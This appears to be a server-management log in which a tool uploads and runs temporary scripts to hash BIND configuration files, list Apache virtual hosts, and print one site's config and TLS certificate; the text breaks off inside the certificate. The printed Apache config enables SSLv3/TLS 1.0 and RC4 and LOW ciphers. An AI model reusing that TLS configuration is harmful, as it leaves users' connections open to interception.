MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-03 19:29:54: Establishing a connection
2026-01-03 19:30:03: Establishing a connection
2026-01-03 19:30:04: 

PUT: /tmp/pkp299506

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-03 19:30:04: 

runuser -l bind -s /bin/bash -c '/tmp/pkp299506; rm /tmp/pkp299506'

2026-01-03 19:30:04: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-03 19:30:08: Establishing a connection
2026-01-03 19:30:10: 

PUT: /tmp/pkp280920

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-01-03 19:30:11: 

chmod 755 /tmp/pkp280920; /tmp/pkp280920; rm /tmp/pkp280920

2026-01-03 19:30:11: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
         port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
         port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
         port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443                  is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
         port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
         port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
         port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:28)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-01-03 19:30:11: 

PUT: /tmp/pkp735825

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/hopeinstoughton_cdn3_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 19:30:11: 

chmod 755 /tmp/pkp735825; /tmp/pkp735825; rm /tmp/pkp735825

2026-01-03 19:30:11: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/hopeinstoughton_cdn3_org.conf	1398

<VirtualHost *:80>
    ServerName	cdn3.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn3
    <Directory /var/www/hopeinstoughton_cdn3>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn3_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn3_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn3.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn3
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0
    <Directory /var/www/hopeinstoughton_cdn3>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn3_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn3_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
</VirtualHost>







2026-01-03 19:30:11: 

PUT: /tmp/pkp269990

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 19:30:12: 

chmod 755 /tmp/pkp269990; /tmp/pkp269990; rm /tmp/pkp269990

2026-01-03 19:30:12: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0	5377
3b:c8:63:ac:39:11:d9:7c:8a:7e:ad:4e:8a:ae:bc:a0

-----BEGIN CERTIFICATE-----
MIIFDzCCA/egAwIBAgISBi0g2VD5GyDr9y9SVhC04VnjMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTAzMTY0MzE4WhcNMjYwNDAzMTY0MzE3WjAjMSEwHwYDVQQD
ExhjZG4zLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQC5/LSx+/4+d31uAh2xj8Co0jfhji1celcy3XLxsOsBhP8IJjIC
f6Du/F14BSxNEWv91V6kcchAf0bMcHezsexB/j/036dz3Q1bFTRXYVauih9a/8ZL
rb/8u6WvfG6mg7fA7h1sW4KNXap3EfS/ulllrJrNJiiIzuPoNto0wTBrl5zW5+Xo
y9e/bYjNhOc/vUdefBnj2O8g5HK3uszYE2ZHLeNCTpSLQGJpn2xxaoTBvln6S3hq
MkS/TxfzKXTJCX49RgPabldHdJgkuTXHGIEDttCQfEaTeuTG2683FItKY9D4KDGn
3ixj/MX2t33HIK9Eb0vCCPqvswb89PkKaSrzAgMBAAGjggIrMIICJzAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFJ3ThHgMWEqvWKDVoOkkUMo4M+hOMB8GA1UdIwQYMBaA
FOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIYY2RuMy5ob3Bl
aW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYw
JKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTAwLmNybDCCAQYGCisGAQQB
1nkCBAIEgfcEgfQA8gB3AGQRxGykEuyniRyiAi4AvKtPKAfUHjUnq+r+1QPJfc3w
